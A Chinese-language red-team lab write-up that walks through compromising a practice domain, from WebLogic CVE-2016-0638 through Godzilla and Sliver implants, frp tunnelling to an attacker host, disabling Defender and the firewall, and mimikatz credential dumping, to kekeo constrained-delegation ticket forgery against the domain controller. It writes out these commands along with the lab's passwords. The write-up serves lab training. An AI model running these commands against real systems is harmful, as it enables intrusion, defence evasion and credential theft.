准备
2012 server
第一台机器开机后,要在C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain
手动运行下 startWebLogic.cmd
,但是我访问7001遇到了报错:
是路径配置错误,但是没搜到什么解决方法,全踏马互相抄互相抄。去问chatgpt,给出的解释是去访问http://127.0.0.1:7001/console
访问这个页面会开始部署,页面不停的刷新。
之后就可以成功的进入页面。
网卡也要配置,在控制面版中将网卡改成自动获取IP,他默认是10.10.0.12
windows 7 PC
也是一样的配置网卡,选择随机。需要输入认证:
先输入域账户:redteam\saul:admin!@#45
再输入域管的账户:Administrator:Admin12345
最后的配置:
win 2008 sql server
认证需要先输入域账户:redteam\sqlserver:Server12345
再输入本地管理员:Administrator:Admin12345
最后的配置:
除此之外要看看是否开启了sql server,在服务中查看有没有开启,且当前用户无权开启。
然后以管理员身份开cmd也启动不了。
sql server管理配置器中启动也不行
查看Windows日志,很多报错,看样子是时间调整了导致超过了180天不能使用了
此处版本不用更改,然后去搜密钥,这个老哥的可以用:传送门
之后就是下一步下一步然后确定即可,等待升级完成。此时再通过命令行启动就没有问题了。
bash
net start MSSQLSERVER
域控
如下:
网络拓扑
名称 | ip1 | ip2 |
---|---|---|
ubuntu | 192.168.130.14 | / |
win 2012 外网服务器 | 192.168.130.4 | 10.0.10.4 |
win 7 个人PC | 10.0.10.5 | 10.0.20.5 |
邮件服务器 | 10.0.20.4 | / |
域控 | 10.0.20.6 | / |
外网打点
拿到目标IP192.168.130.4
,Ubuntu启动,nmap启动,扫描之后看到开放的端口如下:
bash
依次访问各个端口:
weblogic一把梭
上工具检测weblogic有没有历史漏洞,得到CVE-2016-0638有回显可以利用。
注入内存马
直接注入内存马用哥斯拉连接上去。
用哥斯拉自带的模块抓一下密码,但由于是win2012,系统会开启LSA保护,明文密码字段会显示null。不过这里可以看到是工作组环境。
派生至sliver上线
新建生成beacon的配置文件,使用配置文件来生成马子,通过哥斯拉上传执行来上线sliver。
信息收集
新建一个session会话,收集到存在第二个网段。
永恒之蓝横向
使用命令socks5 start
开启代理,修改/etc/proxychains.conf
,挂上代理扫这个c段,过滤物理机和当前机器。发现存在另外一个10.0.10.5且存在永恒之蓝。
看到开启了445端口,尝试用命名管道进行中转,生成对应的shellcode。
挂代理使用脚本去打,这个试了几次都超时了。
有点效果,给打蓝屏了,但是得不到shell。
使用go写的脚本也不行,对shellcode的大小有限制,即使是打个计算器都要等很久还失败了。
无奈使用msf,开启并挂上代理,指定正向马来开session。但是给sliver的session给整断掉了。
bash
setg Proxies socks5:127.0.0.1:7878
setg ReverseSAllowProxy true
服务端配置如下:
bash
[common]
bind_addr =192.168.130.14
bind_port = 7000
客户端配置如下,传到win 2012上执行。
bash
[common]
server_addr = 192.168.130.14
server_port = 7000
[plugin_socks]
type = tcp
remote_port = 7777
plugin = socks5
再次挂上新的代理setg Proxies socks5:127.0.0.1:7777
拿下了shell。
内网渗透
tcp中转马
但是传了几个马子上去都回连不上,尝试关闭defender和防火墙。sliver还是不够稳定,直接用shell就进不去会卡住,也不监听ctrl c来给用户取消,一退出去session就没了。使用execute就是对中文不友好会乱码。关闭之后就陆续有前面的马子回连了。
bash
execute -o cmd /c "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
execute -o cmd /c netsh advfirewall show all state
execute -o cmd /c netsh advfirewall set allprofile state off
这里我删除之后尝试重新执行上传的马子,发现命名管道中转的都没有成功,最后只有使用tcp的可以上线:
内网信息收集
在本机继续收集信息,当前权限最高,可以抓一手密码。
获取凭据
msf中内置了mimikatz就不用再从sliver中传上去操作,抓到了密码Saul:admin!@#45
。
出了点问题滚了快照,msf没配置成,临时配了个viper再打一次。查看域信息,发现存在域:
bash
// 查看域用户
net user /domain
// 查看域控
net group "domain controllers" /domain
// 查看域管理员
net group "domain admins" /domain
sliver中还是一开shell就会卡死,但是可以用插件来收集:
查看进程,没有域管进程,无法窃取令牌。
横向移动
sliver方便的就是挂代理很方便,可以直接挂起开fscan来扫,这看到除了本机,物理机外还有两台机器,4为sql server,6就是域控了,同时扫出来sql server有弱口令sa;sa
。
要想办法拿下域控,这里看到域控有web服务,但无法利用。
SQL server上则是一个2s。
用mimikatz只抓到了win7上sual的凭据没法接着利用,但可以用来查询域内被配置了委派的用户。看了一下shell那块的源码,可能是没有获取到cmd或者powershell的路径而卡住了:
尝试自己指定path,确实可以开启交互式shell了,但是传AdFind上去执行又卡了(其他命令还是正常的):
bash
shell -s c:\\windows\\system32\\cmd.exe
execute执行成功后可以看到可以看到sqlserver被设置了约束委派:
bash
execute -o AdFind.exe -h 10.0.20.6 -u saul -up admin!@#45 -b "DC=redteam,DC=red" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
弱口令接管SQL SERVER
那要想办法拿下这台SQL server,利用前面的弱口令来连接数据库。
生成中转马,通过工具上传上去。执行后上线。
EsfpPotato提权
sliver中自带的提权模块失败了,点击on plus
加载工具中的esfPotato之后再次执行马子上线。
sliver的armory中没有mimikatz模块,为了方便使用,在/home/$user/.sliver-client/aliases
下创建文件夹mimikatz,添加配置文件以及64和32位的mimikatz.exe,之后aliases load /home/\$user/.sliver-client/aliases/mimikatz
。
bash
{
"name": "Mimikatz",
"version": "2.2.0",
"command_name": "mimikatz",
"original_author": "gentilkiwi",
"repo_url": "https://github.com/gentilkiwi/mimikatz",
"help": "mimikatz is a tool I've made to learn C and make somes experiments with Windows security.",
"entrypoint": "Main",
"allow_args": true,
"default_args": "",
"is_reflective": false,
"is_assembly": true,
"files": [
{
"os": "windows",
"arch": "amd64",
"path": "mimikatz.exe"
},
{
"os": "windows",
"arch": "386",
"path": "mimikatz386.exe"
}
]
}
抓到密码Server12345
:
bash
mimikatz "privilege::debug" "serkurlsa::logonpasswords" "exit"
约束委派接管域控
拿到了密码,使用rubues老报错,故尝试使用kekeo 请求TGT,会在当前目录下产生一个TGT:TGT_sqlserver@READTEAM.RED_krbtgt~redteam.red@REDTEAM.RED.kirib
bash
k.exe "tgt::ask /user:sqlserver /domain:redteam.red /password:Server12345 /ticket:sqlserver.kirbiex"
使用申请的TGT伪造administrator的服务票据
bash
k.exe "tgs::s4u /tgt:TGT_sqlserver@REDTEAM.RED_krbtgt~redteam.red@REDTEAM.RED.kirbi /user:Administrator@redteam.red /service:cifs/owa.redteam.red"
导入票据之前无法访问域控:
使用mimikatz导入伪造的票据,之后可以访问到域控。
bash
kerberos::ptt TGS_Administrator@redteam.red@REDTEAM.RED_cifs~owa.redteam.red@REDTEAM.RED.kirbi